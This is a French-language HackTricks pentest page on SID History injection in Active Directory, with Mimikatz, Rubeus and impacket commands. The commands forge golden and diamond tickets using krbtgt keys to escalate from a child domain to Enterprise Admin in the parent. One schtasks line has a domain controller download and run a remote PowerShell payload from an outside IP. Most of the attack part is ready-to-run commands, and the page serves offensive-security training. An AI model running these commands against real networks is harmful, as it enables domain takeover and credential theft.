Injection de l'historique SID
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Attaque par injection de l'historique SID
L'objectif de l'attaque par injection de l'historique SID est d'aider à la migration des utilisateurs entre les domaines tout en garantissant un accès continu aux ressources de l'ancien domaine. Cela est accompli en incorporant l'identifiant de sécurité (SID) précédent de l'utilisateur dans l'historique SID de son nouveau compte. Notamment, ce processus peut être manipulé pour accorder un accès non autorisé en ajoutant le SID d'un groupe à privilèges élevés (tel que les Administrateurs d'Entreprise ou les Administrateurs de Domaine) du domaine parent à l'historique SID. Cette exploitation confère l'accès à toutes les ressources au sein du domaine parent.
Deux méthodes existent pour exécuter cette attaque : par la création d'un Golden Ticket ou d'un Diamond Ticket.
Pour identifier le SID du groupe "Administrateurs d'Entreprise", il faut d'abord localiser le SID du domaine racine. Après identification, le SID du groupe Administrateurs d'Entreprise peut être construit en ajoutant -519
au SID du domaine racine. Par exemple, si le SID du domaine racine est S-1-5-21-280534878-1496970234-700767426
, le SID résultant pour le groupe "Administrateurs d'Entreprise" serait S-1-5-21-280534878-1496970234-700767426-519
.
Vous pouvez également utiliser les groupes Administrateurs de Domaine, qui se terminent par 512.
Une autre façon de trouver le SID d'un groupe de l'autre domaine (par exemple "Administrateurs de Domaine") est avec :
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
Golden Ticket (Mimikatz) avec KRBTGT-AES256
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
/user is the username to impersonate (could be anything)
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.
# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain
Pour plus d'informations sur les golden tickets, consultez :
Diamond Ticket (Rubeus + KRBTGT-AES256)
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
# You can use "Administrator" as username or any other string
Pour plus d'informations sur les tickets diamant, consultez :
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$
Élever au DA de root ou à l'administrateur d'entreprise en utilisant le hash KRBTGT du domaine compromis :
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
Avec les autorisations acquises lors de l'attaque, vous pouvez exécuter par exemple une attaque DCSync dans le nouveau domaine :
Depuis linux
Manuel avec ticketer.py
# This is for an attack from child to root domain
# Get child domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
# Get root domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"
# Generate golden ticket
ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator
# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
# JUST USE THE SAME USERNAME IN THE NEXT STEPS
# Load ticket
export KRB5CCNAME=hacker.ccache
# psexec in domain controller of root
psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
Automatique en utilisant raiseChild.py
Ceci est un script Impacket qui automatisera l'escalade du domaine enfant au domaine parent. Le script nécessite :
- Contrôleur de domaine cible
- Identifiants pour un utilisateur admin dans le domaine enfant
Le flux est :
- Obtient le SID pour le groupe des Administrateurs d'Entreprise du domaine parent
- Récupère le hash pour le compte KRBTGT dans le domaine enfant
- Crée un Golden Ticket
- Se connecte au domaine parent
- Récupère les identifiants pour le compte Administrateur dans le domaine parent
- Si le commutateur
target-exec
est spécifié, il s'authentifie auprès du Contrôleur de Domaine du domaine parent via Psexec.
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
Références
- https://adsecurity.org/?p=1772
- https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.